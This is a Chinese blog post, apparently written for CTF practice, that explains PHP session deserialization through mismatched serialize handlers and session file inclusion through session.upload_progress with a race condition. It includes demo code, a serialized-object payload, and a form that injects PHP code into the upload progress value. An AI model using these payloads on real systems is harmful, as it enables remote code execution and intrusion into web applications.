session包含和session反序列化基本总结!

发布于:2025-07-06 ⋅ 阅读:(16) ⋅ 点赞:(0)

一些水话

写在前面:临近期末还搁着弄这个也是没谁了!谁让我有大师助力期末复习事半功倍呢!
近些日子把session的两个姿势都给看了,以前觉得很难的东西经过rufeii的冷静拆解也不过如此嘛,所以说还是得冷静地去学习!

 前置

什么是session?为什么需要session?怎么创造session?
session用大白话来说就是一个储存个人信息的盒子,大家都知道我们访问网站时,使用的协议是http(https),但是HTTP 是一种无状态协议,也就是说,每次请求都是独立的,服务器不会记得上一次请求的信息。因此,session 被用来弥补这个缺点,帮助服务器跟踪用户状态。
session的出现就是因为http的无状态性和cookie的暴露性,session是用来储存用户访问的请求的会话信息的。
session_start()函数开启会话,生成一个32位的session_id,用来标识的!然后对应的肯定会生成一个文件用来储存$_SESSION的信息。
我们可以在配置文件php.ini中搜索session.save_path。文件名一般为:sess_+32位的session_id。然后呢每次会话的用户信息都会用对应的处理器序列化到文件里面,
处理器有php和php_serialize。可以搜索session.serialize_handler来看。对应的反序列化自然也是存在的!开启对话的时候他也会进行自动的反序列化来填充$_SESSION。

php的相关配置

1,session.auto_start=off,这个配置项是决定是否自动开启session会话的,如果是on的话就不需要session_start()函数去手动开启了!
2.session.save_path,指定session文件保存的路径
3.session.serialize_handler,指定session序列化的处理器

接下来是session文件包含涉及到的一些一些配置项
1.session.upload_progress.enabled=on,参数设置成on时才会进行对文件上传的记录
2.session.upload_progress.cleanup=on ,该参数开启时,会在文件上传结束时对用户session内容进行自动清除。
3.session.upload_progress.prefix="upload_progress_",该参数是与name一起作为SESSION数组的键名的
4.session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS",这里的post前端表单上传与name同名变量就可以获得上传进度
5.session.use_strict_mode=0,禁用严格模式,如果启用就会不接受未经初始化的sessionid。默认情况下该值是0,此时用户可以自己定义Session ID。

 session反序列化

机制:1.也就是说通过session_start()重用现有对话的时候就会调用open,read回调函数。也就是说read回调函数会对session文件里面的序列化字符进行反序列化,这也就是为什么session_start()会触发反序列化的原因!

2.这个session反序列化说白了就是因为同一session下(同一目录下)存在不同的session引擎!

配合1.2就可以利用啦!

demo

test2.php(默认处理器为php)

<?php
session_start();
echo "Session ID: ".session_id();
class My{
    public $name='rufeii';
    public $age=19;
    public function __wakeup(){
        echo $this->name."小子".$this->age."岁了".'<br>';
    }
}
?>

 同目录下的test.php文件(这里为什么强调是同一目录下,因为同一浏览器的同一目录下的所有网页共享同一session,也就意味着可以干"坏事")

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a']=$_GET['a'];
?>

这里我们如何触发test2.php的wakeup魔术方法,利用同一目录的这个特性开始干坏事!直接给a传触发wakeup序列化的字符串,然后再根据session序列化和反序列化的机制,直接取访问test2.php
那么就触发了session的反序列化,这样就能打劫了(坏事)!payload:?a=|O:2:"My":2:{s:4:"name";s:6:"rufeii";s:3:"age";i:19;},细节在于|!和处理器不同! 

题目

初识session反序列化(web263)-CSDN博客

直接看我之前的文章

session文件包含

这里既然提到了文件包含,那么就离不开文件上传,因为我们要通过上传文件,从而将文件上传的一些信息打入到session储存的文件里面,然后再包含这个session文件即可!

session上传进度

机制:PHP 的 session.upload_progress 机制是为了让开发者能够 跟踪文件上传的进度。由于 HTTP 协议本身是无状态的,传统的文件上传(比如 <input type="file">)在传输大文件时,服务器无法主动告诉客户端“上传了多少百分比”。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。

正因为这个机制导致我们上传的一些信息会被写进session的文件里面,如果我们加以构造恶意的东西,就可以用来包含!

demo

直接看demo吧,说再多不如看个例子!

表单上传

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Welcome to my website</title>
    </head>
    <body>
    <form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="unique_identifier<?php phpinfo();?>">
    <input type="file" name="fileToUpload" id="fileToUpload">
    <input type="submit" value="Upload File" name="submit">
    </form>
    </body>
</html>

 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="unique_identifier<?php phpinfo();?>">这一栏至关重要就是用来记录上传进度的一个key!

 upload.php

<?php
session_start();
$identifier = $_GET['identifier'];
$key = 'upload_progress_' . $identifier;

// 输出所有会话数据,用于调试
echo "<pre>";
print_r($_SESSION);
echo "<pre>";
?>

可以看到上传的信息都被储存在$_SESSION里面的!我们在看看文件,可以看到文件里面也是有的!

 你会发现这里的键名我们是可控的,在前面的表单上传那里我就把PHP_SESSION_UPLOAD_PROGRESS的value里面注入了一个php的代码,这也就是为什么上传了还可以看到phpinfo的原因!

题目

 这里过滤了:那么伪协议就打不了,过滤了.日志包含就打不了!这里我们打session文件包含!

首先通过表单上传一个文件进行抓包,然后我们主动去提交一个session_id,再加入恶意代码

然后我们再抓访问的包

然后进行条件竞争!!!最后拿到flag!!!可以发现并不难。 

本质:就是通过上传文件手动添加Cookie,再通过可控文件参数进行写入恶意代码,结合文件包含进行条件竞争!


网站公告

今日签到

点亮在社区的每一天
去签到